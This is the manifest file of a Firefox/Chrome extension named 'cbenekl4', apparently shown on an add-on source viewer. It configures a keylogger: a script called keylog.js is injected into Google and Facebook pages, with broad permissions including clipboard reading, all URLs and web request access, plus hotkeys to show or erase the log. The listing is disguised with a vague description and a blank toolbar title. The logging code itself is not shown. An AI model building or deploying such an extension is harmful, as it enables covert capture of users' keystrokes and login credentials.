Examine source code of cbenekl4

{
  "manifest_version": 2,
  "name": "cbenekl4",
  "version": "4.1resigned1",
  "description": "A facelifted version of the nifty stuff - ONLY FOR DEVEOPMENT PURPOSES!",
  "icons": {
    "48": "icons/keylogger-icon48.png",
    "96": "icons/keylogger-icon96.png"
  },
  "background": {
    "scripts": [
      "background.js"
    ]
  },
  "browser_action": {
    "browser_style": true,
    "default_icon": "icons/keylogger-icon48.png",
    "default_title": " "
  },
  "content_scripts": [
    {
      "matches": [
        "*://*.google.com/*",
        "*://*.facebook.com/*"
      ],
      "js": [
        "keylog.js"
      ]
    }
  ],
  "commands": {
    "display-log": {
      "suggested_key": {
        "default": "Alt+Shift+O"
      },
      "description": "Send a 'display-log' event to the keylogger"
    },
    "erase-log": {
      "suggested_key": {
        "default": "Alt+Shift+I"
      },
      "description": "Send a 'erase-log' event to the keylogger"
    }
  },
  "permissions": [
    "<all_urls>",
    "activeTab",
    "clipboardRead",
    "storage",
    "tabs",
    "webRequest"
  ],
  "browser_specific_settings": {
    "gecko": {
      "id": "{feff6b0d-9564-4676-b297-4af06a519457}"
    }
  }
}